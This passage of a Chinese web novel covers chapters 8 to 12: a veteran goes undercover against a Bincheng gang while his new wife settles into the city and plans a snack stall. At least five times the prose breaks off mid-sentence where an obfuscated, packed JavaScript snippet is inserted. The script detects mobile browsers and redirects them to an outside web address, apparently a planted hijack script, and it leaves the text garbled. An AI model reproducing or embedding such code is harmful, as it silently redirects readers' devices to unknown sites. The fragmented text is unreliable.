“小赵?”陈远洲挺听了徐秀竹的称呼,笑道:“他比你还大两岁呢。” “可他都叫我嫂子了。”徐秀竹有点不好意思,“要不下次见面我叫他无双?” “叫什么都行,那小子皮得很,没事。” 徐秀竹又问:“你们两个关系好像很好?” “他十八岁刚入伍那会儿就跟着我,一直到去年退伍,在一块相处了差不多五年。”陈远洲把洗好的碗放进橱柜,“他是不会收钱的,回头从别的地方找吧。” 徐秀竹不太了解男人之间的情谊,但陈远洲都这么说了,她也就没再纠结。 陈远洲七点多的时候准备出门,出门之前他特意换了一身深色的衣服,还找了个帽子戴上,把自己捂的严严实实。 他让徐秀竹锁好门,要是害怕就把灯开着。 新换了一个环境徐秀竹确实还有些不适应,但也不至于害怕。她锁好门,站在门口打量这个宽敞明亮新家,一连打了几个喷嚏。 屋子里灰尘多,她去接了盆水,又找了块抹布,准备好好擦一擦。 陈远洲按照赵无双之前交代的,出了小区就直奔旁边那条街的胡同口。 在胡同口他看到赵无双接他的那辆吉普车,他敲了三下车窗,车门从里面打开。 车上除了赵无双,还有两个人,一个是滨城公安局副局长周庆军,另一个是刑警支队副队长谭立新。 周庆军跟陈远洲握了握手,说道:“陈远洲同志,很抱歉咱们第一次见面是以这种方式,但是事急从权,未免节外生枝,还请多担待。” 一旁的谭立新见领导还有心思寒暄,急的有点坐不住,催促道:“周局,咱赶紧说正事吧。” 周庆军瞪了他一眼,“就你脾气急。” 说完他拿了几张照片给陈远洲,“小赵已经提前跟你说了案件大概情况,这几个人你记一下,他们是这次行动的主要目标,为首的是这个叫赖四儿的,此人常年混迹黑、道,凶狠狡诈,无恶不作,因为脸上有道疤,道上的人又叫他疤剌四,他底下又养了一帮亡命徒,一半以上都配了枪,这给我们的抓捕行动带来了困难。” 谭立新几次想插嘴都没插上,周庆军嫌弃的看了他一眼,“行了,下面的你说吧。” “赖四儿和他的手下接连制造了好几起恶性杀人事件,我们对他常去的几个地方都进行了搜捕,但是此人在滨城盘踞多年,耳目又多,咱们的很多同志他都见过,所以现在需要一个有经验的新面孔去探探底,做到里应外合。” 陈远洲在部队多年,有经验,身手好,对赖四儿那伙人来说又是个新面孔,正适合这次任务,这也是为什么滨城公安局让他尽快赶过来,又不让他直接去公安局露面的原因。 “他们应该是有组织的hei社会性质的团伙作案。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487382|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈远洲借着车内的光仔细看着这几张照片,说道:“这次行动除了要抓到凶手,更重要的是趁机把这伙势力打掉。” 周庆军赞许的点点头:“你说的没错,所以这次行动要秘密进行,我们要一击毙命,绝对不能给他们反扑和喘息的机会。一会儿让立新跟你说一下行动计划,也辛苦你千里迢迢赶过来,还没休息就要加入行动了。” 谭立新一听赶紧把脑袋凑了过来,“我们计划这样……” …… 徐秀竹收拾完家里已经十点多了,可陈远洲还没回来。她坐在客厅里泡着脚,耳朵一直注意着门外的动静。 半个小时后有人敲门,徐秀竹确定门外是陈远洲之后才开门。 陈远洲一进门就被徐秀竹拉到了灯光下面,上上下下瞧了个仔细,确定没什么异常之后才松了口气。 “我没事。”陈远洲见她光着脚穿拖鞋,就让她坐到沙发上,把身上的外套盖到了她脚上,“我明天要出去,具体什么时候回来还不清楚,明天会有一个叫薛艳的嫂子来找你,她是我同事的爱人,你可以跟着她四处转转,家里缺什么你就添置,不用省钱。” “那你……”徐秀竹欲言又止,最后想问的话又咽了回去,只叮嘱道:“那你要注意安全。” 其实徐秀竹能猜到,滨城这边着急让陈远洲过来,他又大晚上的出去那么久,肯定是很重要的事,也许还会很危险。 陈远洲嘴角微扬,“放心吧,保证胳膊腿齐全的回来。” “呸呸呸!”徐秀竹原本盘坐在沙发上,听他这么一说急的直接从沙发上站了起来,但却被陈远洲给她盖的外套绊了一脚,直接往地上栽了下去,还好陈远洲眼疾手快,把人捞了回来。 徐秀竹推开陈远洲,有些急切的说道:“胳膊腿齐全就行了吗?那万一是别人带着你的胳膊腿回来呢?” 说完她觉得不太吉利,赶紧敲了敲沙发的木头扶手。 陈远洲被她的想象力惊到了,只好说道:“我保证自己带着胳膊腿回来。” 徐秀竹赶紧补充道:“活蹦乱跳的回来!” “好。” 见徐秀竹不再说话,陈远洲直接打横把她抱了起来,朝卧室走去。 “去睡觉了。” 9. 第9章 第9章 徐秀竹醒来的时候天已经大亮了,身边也早已没了陈远洲的身影。 想到昨晚是被陈远洲抱回卧室的,虽然两个人什么也没发生,可徐秀竹的脸还有点发烫。 她记得半夜睡得迷迷糊糊的时候,陈远洲好像给她盖过被子,但身下的大床又软又舒服,她翻了个身,压根没醒。 床头柜上陈远洲留了张纸条,龙飞凤舞的字迹写道:“楼下有早餐店,在家等薛艳嫂子,晚上记得挂好安全链。” 徐秀竹踩着拖鞋到门口,这才看见门上比昨天来的时候多了条链子,心想这个陈远洲还挺细心的。 通过这几天的相处,徐秀竹觉得陈远洲除了少言寡语,其他的都很好,也许日子就这样过下去也不错。 或许陈远洲真的是个值得依靠的人。 但这个念头也只是刚冒出来就被徐秀竹压了下去。 徐秀竹从小在徐家的日子就不好过,她那个时候就知道,凡事不要指望别人,哪怕是自己的父母和兄弟。 “靠山山倒,靠树树摇,靠人人跑,靠自己最好。” 徐秀竹一直牢记这句话。 走一步看一步吧,徐秀竹心想。若是陈远洲诚心跟她过日子,那她一定会做一个合格的妻子,若是哪天陈远洲不想继续下去了,那她也不会纠缠,肯定头也不回的离开。 但徐秀竹还是希望陈远洲能平安。 徐秀竹回到卧室,把陈远洲写的纸条夹在了她从家带来的菜谱里,又小心放进抽屉里。 徐秀竹很早就开始做饭,但家里吃得翻来覆去就是那些,她也没什么机会了解和接触其他食物。几年前在旧货摊上淘到这两本快要老掉渣的菜谱,让徐秀竹涨了不少见识。 她总感觉这两本老菜谱随时会牺牲,所以平时都是轻拿轻放,出发前还特意又包了一层书皮,就怕它经不起长途折腾。 徐秀竹简单吃完早饭就在家里等薛艳。她坐在沙发上,阳光照在人身上暖洋洋的。 这个房子除了采光好,视野也开阔,从客厅的窗户还能看到小区里栽种的灌木,徐秀竹没见过,叫不上名字。 刚到九点,徐秀竹就听见有人敲门。门外的人自报家门,徐秀竹一听是薛艳就赶紧给她开门。 昨晚陈远洲听谭立新说完行动计划之后,提到了徐秀竹。他希望能安排个女同志领着徐秀竹四处转转,毕竟她刚来,人生地不熟。 谭立新也住这个小区,他自告奋勇的推荐了自家媳妇。他这个媳妇文能替他写三千字的检讨,武能在街道办处理各种大小纠纷,给人满满的安全感,绝对靠谱。 薛艳也是个热心肠的,昨晚谭立新回家跟她一说她就答应了,今早特意去街道办请了假就过来了。 她今年三十五岁,身高一米七三,梳着五号头,性格爽朗,为人健谈,刚和徐秀竹见面就把她从头夸到了脚。 徐秀竹以为赵无双就已经代表了东北人的性格,没想到还有薛艳这种加强版。 她有些难以招架薛艳的热情,只能局促的坐在一旁听她侃侃而谈,然后不停的给她的杯子里添水。 薛艳喝完第五杯之后实在喝不动了,说道:“大妹子,我不能再喝了,再喝晚上就得尿炕了,我还得带你出去转转,让你见识一下咱东北的风土人情!” 徐秀竹像个吉祥物似的跟着薛艳出了门,到楼下的时候徐秀竹问薛艳小区里种的树叫什么。 “这是丁香,再过一阵就能开花了,很好看。咱们这冬天又长又冷,丁香皮实,耐寒耐旱,滨城好多地方都有它。” 薛艳先带着徐秀竹去了附近的商场和农贸市场,还告诉她现在很多东西不要票也能买。 两个人边走边聊天,薛艳还挺喜欢徐秀竹的南方口音,像粘豆包一样,软软糯糯的。 滨城属于老工业基地,五十年代初的时候国家重点布局规划,南厂北迁了不少大中型企业在滨城落户,这也让滨城迅速成长为以机电工业为主体,门类齐全的工业基地。 除此之外滨城还是一个有着异域风情和历史文化的城市,因为现存着大量的欧式建筑,又被叫为“东方巴洛克”。 薛艳是土生土长的本地人,对滨城的一切如数家珍。 她说滨城的动物园、文化公园、教堂、电影院、松花江、中央大街等等都很有特色,冬天还有各式各样的冰雕、狗拉爬犁、打出溜滑、堆雪人、抽冰尜...... 徐秀竹听得有些入迷。 她从前一直窝在村子里,也只有到镇上的时候才能稍稍感受到时代确实是在变化。 如今到了滨城,街上穿着时髦的男女,来往的车辆,路边叫卖的商贩,各类私营的餐馆店铺……这富有生命力的一切都在展现着发展带来的巨大变化。 薛艳还不忘见缝插针的跟徐秀竹唠几句家常。知道她二十二岁,不免有些感慨,“年轻真好。” “嫂子也很年轻。”徐秀竹这是真心话,她觉得薛艳确实不像三十五岁,大概是人有精气神,所以就会显得年轻。 “我家小松都十三了。”薛艳一提到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487383|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里的皮猴子就头疼,于是说道:“妹子,你们小两口一定要趁年轻多享受一下二人生活。” 徐秀竹从小在家里就被教育要做一个处处为弟弟着想的大姐,如今被薛艳一口一个“妹子”的叫着,觉得心里热乎乎的。她很喜欢薛艳,也默默把她当成了姐姐。 “我们不着急要孩子。”徐秀竹还不忘给陈远洲打个掩护。 “对,着急要那玩意干啥!”薛艳一想到昨晚谭松掏出来那张需要家长签字的二十五分的试卷牙根就疼,她跳过孩子的话题,说道:“不过你家男人也是个有出息的,从部队回来直接进了公安局,而且你们现在住的房子风水也好,前两个住户家的男人都提拔走了,一个去了外地,一个去了省里。” “感觉他的工作很危险。”徐秀竹心有戚戚。 薛艳附和道:“确实,像咱们爷们干的这工作,提拔不提拔都是次要的,只要每次出门能全须全尾的回来就谢天谢地了。” 徐秀竹也十分认同,连连点头道:“嫂子说的是。” 两个人一直逛到了午饭时间,薛艳的厨艺实在拿不出手,就带着徐秀竹找了一家熟悉的小饭馆,点了店里最有特色的锅包肉、猪肉炖粉条、地三鲜和汆白肉。 起初薛艳还担心徐秀竹吃不惯,但看她埋头吃得香,这才放心。 薛艳下午被街道办喊了回去,徐秀竹就自己去商场买了些东西。 回家之前想着中午还带回一些汆白肉,煮面条正好,于是路过卖菜的小摊时她准备买一根葱,再买几棵香菜。 卖菜的大姐以为自己听错了,问道:“你就要一根葱啊?” 徐秀竹被她的大嗓门给问懵了,以为自己说错了话,有些迟疑的点了点头。 然后她就看见大姐从一捆大葱里抽出两根,直接塞在她手里,“拿回去吃!”说完又转头给其他人称菜。 徐秀竹愣愣的看着手里的两根葱,还没反应过来发生了什么,大姐又塞给她一捋香菜。 她在原地观察了一会儿,这才发现大家买葱都是一捆一捆的买。 入乡随俗的徐秀竹只好学着大家买了一大捆葱,临走的时候卖菜的大姐又送给她两头蒜。 晚上吃完饭徐秀竹就开始给梁喜枝写信,她把这几天的所见所闻都跟梁喜枝分享了。 她说外面的世界可真大,有很多新奇的东西。 她说滨城人很热情,也很豪爽。 她说她跟陈远洲相处的挺好的。 她说大枝子呀,我真的要开始新的生活了。 10. 第10章 第10章 徐秀竹刚搬过来,家里要添置的东西不少,她实在不好意思总麻烦薛艳陪着。 而薛艳也确实走不开。每年四月中旬街道要办开展爱国卫生运动,还要配合卫生院挨家挨户科普晚婚晚育、少生优生的政策。而且她跟徐秀竹相处下来,觉得她也不是那种大门不出二门不迈的娇小姐,性格也挺闯实的,就让她有事找自己,反正两家都在一个小区。 徐秀竹早早就出了门,她沿着街边慢慢的走,看到街上各式各样的出行方式,其中最多的还是自行车。 进入八十年代,国家就开始大力生产自行车、缝纫机、钟表、电视机等这些日用机电产品,自行车厂和零配件厂如雨后春润一般出现,凭票供应的要求也开始放松。 徐秀竹打听过,现在一辆全新的二八式自行车不要票大概要三百五十块钱,她虽然不会骑,但是可以给陈远洲买一辆,这样他上下班也方便。 一想到陈远洲,徐秀竹就有些担心,今天已经是第四天了,她想着要是晚人还不回来,就去薛艳家打听一下。 徐秀竹住的安和小区属于南阳区,她今天准备坐公共汽车去一趟香安区,听薛艳说那边有一个大的户外市场,卖的布花样多,质量还好,她准备买些布回来做窗帘。 徐秀竹老家所在的镇上只有一班市里淘汰下来的公共汽车,一个人一毛钱,能跑遍全镇。不过滨城不太一样,她这会儿就已经看见好几辆公共汽车,每辆车上面的号码都不一样。 徐秀竹站在站牌下研究了一会儿,发现不同号码的车去的地方不一样,比如她要去香安区,就得坐2路车。 很快2路车慢悠悠的开过来,徐秀竹跟着大家排队上车。上班时间车上人多,徐秀竹交了两毛钱后被挤到了后面,她努力抓着吊环,看着车窗外匆匆闪过的城市风景,一会儿就从成片的楼房变成了错落有致的平房区。 香安区和近几年加大开发力度的南阳区不同,它属于老城区,路面虽然也是硬化过的,但因为年头久了,相比于南阳区来说更颠簸一些。 下车之后徐秀竹向路边卖瓜子的大姐问了一下去市场的路,大姐很热心的给她指了路,徐秀竹闻着新鲜出锅的瓜子,花了三毛钱买了一小包。 一大早市场人就很多,害怕钱被偷,徐秀竹就一只手捂着口袋。只是她刚挤进去就有点后悔了,可看了眼后面涌上来的人,也只能硬着头皮往前走。 徐秀竹讲了半天价,买了两块薄厚适中的蓝色带小花的布料,付完钱她抱着布料往回走,刚走没几步就瞧见前面有个小偷在掏旁边大姐的口袋。 市场里人来人往,徐秀竹不敢贸然惊动小偷,怕他还有别的同伙,于是快走两步挽上那个大姐的胳膊,假装熟络道:“张姐!好巧啊!在这碰到你了!” 徐秀竹故意扯着嗓子说的很大声,惹得周围人纷纷侧目,小偷怕被发现,连忙收手,最后只掏到几张上厕所用的手纸。 还真让徐秀竹蒙对了,大姐确实姓张。她一脸懵的看着徐秀竹,问道:“你是谁啊?我不认识你啊。” 徐秀竹凑到她面前小声道:“大姐,刚才有小偷翻你口袋。” 张大姐也是个暴脾气,一双炯炯有神的眼睛立马向周围扫射,想把那个小偷抓出来,可市场人太多,小偷早就混进了人群里。 徐秀竹让她检查一下有没有丢东西,张大姐把几个口袋都翻了一下,最后确定只丢了几张手纸。 张大姐在这个市场也有个摊位,是跟她男人一起卖油炸糕。为了感谢徐秀竹,她硬是把徐秀竹拉到了自己的摊位,送给她几个刚出锅的油炸糕。 “妹子,姐用的都是好油好面,你放心吃,嘎嘎香!”张大姐对自家的手艺和食材很有自信。 张大姐家的油炸糕用的是糯米粉,徐秀竹隔着油纸都闻到了香味。她咬了一口,外皮酥脆可口,里面的豆沙馅加了少量的糖,甜而不腻,确实好吃。 徐秀竹香的直竖大拇指,张大姐见状也乐了。听出徐秀竹的口音不是本地人,张大姐就告诉她油炸糕凉了也能吃,吃的时候沾点白糖,又是另一种风味。 一个油炸糕的价格是两毛钱,除去原料能净赚一毛钱左右,而徐秀竹在这的一会功夫就已经卖出去了十几个。徐秀竹向张大姐打听了一下,在这个市场租这样一个摊位一个月是三十块钱,其他的锅碗瓢盆也都是一次性的投入。 徐秀竹觉得摆摊卖小吃是个赚钱的路子。她本身就是个闲不住的性格,再加上她现在也没有工作,总不可能心安理得让陈远洲养着。 也许陈远洲一时不会说什么,但时间长了难免会有怨言。毕竟没有谁天生有义务去负担另一个人的人生。 徐秀竹觉得这个事可行,也就没着急回家,又在市场转了一圈,打听了一下各种小吃的价格,又观察了一下顾客数量,还挑了几样试吃,一直到中午才回家。 在市场的时候徐秀竹已经吃饱了,回家之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487384|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没做饭,洗了洗手就开始做窗帘。卧室里的窗帘还是刚来那天让陈远洲挂了个床单对付上的。 一直忙活到晚饭时候,徐秀竹炒了两个菜装进饭盒里,又装了几个馒头,带着去了薛艳家里。 薛艳在街道办忙了一天,嗓子都要说冒烟了,累的根本不想做饭,看见徐秀竹带着饭菜过来就像看到了救星。 谭松这会儿也放学了,一进门就闻到了香味,书包一扔就冲到了饭桌旁,不过他一看桌上的菜就不是他妈做的。 “妈,你这是在哪买的菜?好香啊!” 谭松手都没洗就要往盘子里伸,薛艳早有防备,一巴掌拍在了他的手背上,“没规矩!赶紧叫婶儿!” “婶儿!”谭松一看就是很皮的小孩,被他妈打了一巴掌还能嘻嘻哈哈的笑。 吃饭的时候徐秀竹说明来意,她说陈远洲已经好几天没回来了,她实在担心。 薛艳当然明白徐秀竹的心情。她二十一岁嫁给谭立新,那个时候谭立新还是派出所的小警察,后来一步步干到分局,再到市局,现在当了市公安局刑侦支队的副队长,这么多年她也是担惊受怕熬过来的。 “妹子,嫂子理解你的心情,可这就是咱们这些警察家属必须承受的。” 谭松见他妈和徐秀竹的情绪不太对,咬了口馒头说道:“婶儿,没事,慢慢就习惯了,我也时常忘记我有个爸爸。” 薛艳一个眼刀飞过去:“吃饭也堵不上你的嘴!” 说完她又宽慰了徐秀竹几句,趁着天还亮着把她送了回去。 接下来一连十天陈远洲都没回来,徐秀竹越来越慌乱,晚上也睡不着,支棱着耳朵听着门外的动静。 她心想陈远洲应该会没事吧?他答应过会活蹦乱跳的回来。 徐秀竹惦记着陈远洲,做什么事都分心,中午切菜的时候不小心切到手指,流了不少血。 她简单用手绢包住受伤的手指,去了趟卫生院,买了些常用的纱布酒精和碘伏,临走的时候觉得家里也应该备着红花油,就买了一瓶。 出了卫生院徐秀竹顺便去了菜市场,她之前在香安区的市场尝了不少小吃,这几天她都在按照记忆中的味道自己试着还原,今天准备做炸茄盒。 回来的时候徐秀竹发现门没关严,还留了个缝,她第一反应是家里进贼了。 手边没有合适的武器,徐秀竹掏了半天掏出一根茄子,然后她拿着茄子蹑手蹑脚的推开了门。 11. 第11章 第11章 徐秀竹紧张的情绪只维持了几秒,因为她开门的时候闻到了陈远洲的味道。 她有些欣喜,进去后就看到陈远洲倚着沙发坐着,两条长腿微微叉开,脑袋靠在沙发靠背上,像是睡着了。 徐秀竹轻轻关上门,放下手里的东西后,也坐在了沙发上。 陈远洲睁开眼,微微侧头看着徐秀竹,哑着嗓子说道:“回来了。” 徐秀竹这才看到陈远洲的脸上挂了彩,额头,鼻梁,还有脸颊,有好几道醒目的擦伤。 “你受伤了啊!” 徐秀竹赶紧凑过去仔细瞧了瞧,陈远洲却轻描淡写道:“擦破点儿皮儿。” “其他地方呢?有没有受伤?”徐秀竹急切的问道。 陈远洲抬了抬两个胳膊,又抬了抬两条腿,声音里染上一丝笑意:“你看,胳膊和腿都在。” 徐秀竹看着胡子拉碴的陈远洲,知道他应该是累极了。她不知道这十几天陈远洲经历了什么,也知道现在不是问这些的时候,于是就让他回卧室躺着好好休息。 陈远洲没动弹,而是拍了拍一旁的沙发。徐秀竹很听话的往他身边挪了挪。 下一秒陈远洲直接把头靠在了徐秀竹的肩膀上。 “陪我坐一会儿。”陈远洲的声音就在徐秀竹的耳边响起。 “好。”徐秀竹也放松了身体,轻轻往后靠在了沙发上。 房间里瞬间安静下来,只有时钟秒针转动的声音。 徐秀竹紧张了这么多天,晚上也没怎么睡好,如今陈远洲回来了,她紧绷的情绪总算可以放松,很快困意就袭来。 等她再睁开眼时太阳已经西斜,夕阳的余晖透过窗户洒在地板上,邻居们也开始做饭,各家的饭菜香味交织在一起,是生活的味道。 时间仿佛被按了暂停键,徐秀竹的内心是前所未有的宁静。 陈远洲也醒了,他二十几个小时没合眼,这一觉睡得很沉。他伸了个懒腰,忘记右边的肩膀上还有伤,轻声的“嘶”了一声,却没逃过徐秀竹的耳朵。 徐秀竹看着他,沉默了一会儿说道:“我买了酒精和碘伏,你脸上的伤得消毒。” “都处理过了。”陈远洲说完才注意到徐秀竹的手指头上缠着纱布,就问她是怎么弄的。 徐秀竹也不好意思说是因为自己整天惦记着他,导致分心才切到了手,她说是因为自己把菜刀磨的太快了,一不小心切到的。 “晚上出去吃吧。”陈远洲站起身,“我去洗把脸。” 徐秀竹其实是想把这几天学的东北菜做给陈远洲尝尝的,也让他提提意见。但是她又怕陈远洲已经饿了,自己做饭太耽误时间,就没说什么。 而且这才十几天,陈远洲好像瘦了一圈,感觉眼窝都深了。 两个人的晚饭是在小区附近的一家面馆解决的。陈远洲风卷残云的吃了五碗牛肉面,结账的时候老板一高兴还给抹了零。 人都说小别胜新婚,可徐秀竹和陈远洲原本就不太了解彼此,两人匆匆地结婚,匆匆地赶到滨城,陈远洲又十几天没回来,这一切好像又回到了原点。 下午睡足了的两个人晚上都没什么困意,就大眼瞪小眼的坐在沙发上。 徐秀竹率先打破宁静,问道:“一切顺利吗?” 陈远洲知道她的意思,答道:“很顺利。” 徐秀竹又跟他提起了薛艳。她忽略自己去找薛艳打听消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487385|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息的事,只说薛艳是个很爽朗的人,人也好,还跟她讲了很多关于滨城的事。 陈远洲问:“我明天休息,你有什么想去的地方吗?” 徐秀竹想了一下,“要不你还是在家里休息吧,养养伤。” “我就是擦破点儿皮儿。”陈远洲还是这句话。 见他坚持,徐秀竹说道:“我想去动物园。”薛艳嫂子说滨城的动物园是东北最大的,里面有很多动物。 “行。” 徐秀竹有些不放心:“你确定你身上的伤没事吗?” 陈远洲刚要开口,徐秀竹就预判到了:“你就是擦儿破点皮。” 陈远洲听着徐秀竹这别扭的儿化音有点难受,纠正道:“是,擦破点儿皮儿。” 徐秀竹很认真的跟着他学:“擦破儿点皮。” 陈远洲被她这四不像的口音逗笑了,徐秀竹有点不服气,又自己小声叨咕了几句,总算能磕磕巴巴的说出来。 徐秀竹问道:“咱们都是一个村子的,怎么你的东北话就这么地道呢?” 陈远洲眉头一挑,故意逗她:“呦,‘地道’都会说了。” 徐秀竹鼓着小脸瞪他。 陈远洲告诉她部队里有不少东北人,跟东北人相处久了,口音想不变都难。 两个人又聊了一会儿,临睡前陈远洲准备去冲个澡。他刚进卫生间没一会儿,就开门喊徐秀竹。 徐秀竹以为他是让自己帮忙拿换洗的衣服,结果到了门口陈远洲直接让她进去,徐秀竹还以为自己听错了。 “秀竹,你得帮我洗一下。” 徐秀竹站在门口纠结了半天,心想陈远洲出去十几天回来,怎么一下子这么不见外了? 12. 第12章 第12章 陈远洲出任务的时候右胳膊受了伤,向上抬的时候有些吃力,徐秀竹帮他脱掉套头的针织衫后,就看到他左肩上的一大片刺青。 徐秀竹盯着刺青看。那是一只展翅的大鸟,金色的眼睛,锋利的嘴巴,通身羽毛都是赤红色,像一个大火球。 陈远洲的身材高大挺拔,肩宽腰窄,肌肉线条流畅又充满力量,尤其是背部宽阔厚实,沟壑分明,再加上这样一个有点邪门的刺青,整个人有种说不出的......野性? 徐秀竹晃了晃脑袋里乱七八糟的想法,连忙转移注意力,问道:“你背上的是什么鸟?” “是朱雀。” 徐秀竹撇嘴:“这么大一片刺青,很疼的。” “不疼,画上去的。” “画的?”徐秀竹又瞪着眼睛仔细看了看,好像确实是画的。 陈远洲:“用了防水的颜料,画上去糊弄人的。” 谭立新他们调查的时候发现赖四儿有个爱好,那就是刺青,可笑的是这样一个穷凶极恶的犯罪分子却很崇尚孝道,整天把“身体发肤受之父母”挂在嘴上,所以他只给别人刺,自己从来不刺,只画。 做戏做全套,陈远洲找人在背上画了一只形态嚣张的朱雀,成功接近赖四儿后,他故意脱掉上衣,赖四儿一眼就看出刺青是画的,而且画工精湛,栩栩如生。 赖四儿以为找到了知己,陈远洲就靠着这只朱雀和“身体发肤受之父母”这句话搭上了赖四儿。 当初画上去的时候,陈远洲就知道这玩意没有几个月下不去,可他还是把搓澡巾递给了徐秀竹,说道:“帮个忙,把它搓下去。” 可陈远洲的背上除了画上去的朱雀,还有好几处青紫,看着就疼。徐秀竹犹犹豫豫的不敢伸手,陈远洲直接把她拉到跟前。 “害羞呢?”陈远洲低头看着徐秀竹。 徐秀竹觉得陈远洲的眉眼生的很好看,浅浅的内双,眼尾微微上扬,中和了他整个人冷硬的气质。 “我可不害羞。”徐秀竹别过头,用温水打湿搓澡巾:“那我尽量轻一点,要是搓疼了你就说话。” 徐秀竹左手的手指头还缠着纱布,只能用右手。她吭哧吭哧的搓了一会儿,脑门上冒出一层细汗,再看那朱雀只是轻微变色而已,还是红的很嚣张。 “这防水颜料是真。”徐秀竹感慨道。 陈远洲语气里也有些无奈:“看来只能多搓几次了。” 徐秀竹信誓旦旦道:“我以后每天给你搓一次,肯定能搓掉!” 说完之后徐秀竹就有些后悔了,这话听起来就好像她上赶着每天都要给陈远洲洗澡一样。还好陈远洲背对着她,要不然还怪尴尬的。 第二天吃过早饭,徐秀竹就准备跟陈远洲去动物园。出发之前陈远洲说谭立新受了点伤,徐秀竹一听赶紧出去买了些水果,和陈远洲一起去薛艳家探望。 开门的是薛艳,徐秀竹见她眼睛通红,像是哭过,就看了眼身旁的陈远洲。 谭立新听见声音从卧室里探出了头,见到二人后高兴道:“是远洲和弟妹啊!赶紧进来!”说完他吊着手臂,一瘸一拐的从卧室里出来。 徐秀竹见谭立新的脸上青一块紫一块,比陈远洲的脸还精彩,再看他胳膊打着石膏,腿脚也不利索,这才直观的感受到他们的工作有多危险。 陈远洲把谭立新扶到沙发上坐下,薛艳说去泡茶,转身进了厨房,徐秀竹见状也跟了上去。 薛艳没把徐秀竹当外人,等着水烧开的功夫就跟她念叨起来。 谭立新是昨晚被同事送回来的,身上的伤虽然都已经处置过,但医生也说了需要静养。可早上谭立新嚷嚷着要回队里,薛艳又心疼又生气,就跟他吵了起来,徐秀竹来之前薛艳刚刚被他气的大哭了一通。 “你说他都快四十岁的人了,还以为自己很年轻吗?受了伤不好好养着,还非要逞能回单位,咋的?地球离开他还不转了?” 薛艳故意说的很大声,客厅里的谭立新和陈远洲都听见了。 谭立新看了眼陈远洲,尴尬的挠了挠头,小声说道:“你嫂子这是变相关心我呢。” 陈远洲笑道:“那你就踏实在家养着。” “哎,闲不住啊!”谭立新给陈远洲递了根烟。 谭立新二十岁就在派出所,从警十七年,从派出所一直干到了市局的刑侦支队。他知道自己性子急,脾气躁,脑子也不够活络,所以就只能比别人更勤奋,付出的更多,只有这样才能多为百姓做点实事。 “兄弟,这次多亏你了,要不然我这条命就交代在赖四儿手里了。”谭立新现在想想还心有余悸。 赖四儿手下有四大金刚,各个不好对付。收网的时候当场击毙一个,另外三个带着赖四儿跑了,谭立新没多想就追了上去,赖四儿发了狠回头就要弄死他。 谭立新一对一都不一定有胜算,更何况是四个人,多亏陈远洲及时赶到。后来大部队赶到的时候赖四儿四个人已经被制服,其他同志都以为是他们二对四,可陈远洲赶到的时候谭立新胳膊已经断了,等于他是一对四解决了几个人。 起初谭立新对这个空降兵还不放心,以为他只是个有把子力气的大头兵,可这次的卧底任务他完成的相当漂亮,竟然能想到用刺青接近赖四儿,真的是有勇有谋还能打,谭立新对他彻底刮目相看。 薛艳虽然不知道细节,但也知道是陈远洲出手相救,谭立新才捡了条命。今天就算徐秀竹和陈远洲不来,她也准备把两人喊到家里吃顿饭,表示感谢。 徐秀竹还惦记着和陈远洲去动物园的事,可薛艳语气热情,她实在不好意思拒绝,好在陈远洲喝了杯茶后主动提到有事要离开。 薛艳想到小夫妻刚搬到滨城就分开了十几天,这好不容易团聚了,肯定有自己的安排,就没再让,但是她说这顿饭早晚是要吃的。 离开薛艳家,徐秀竹和陈远洲坐上了5路公共汽车去城郊的动物园。 在车上的时候,徐秀竹问陈远洲是不是真的救了谭立新一命。 陈远洲说没那么严重,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 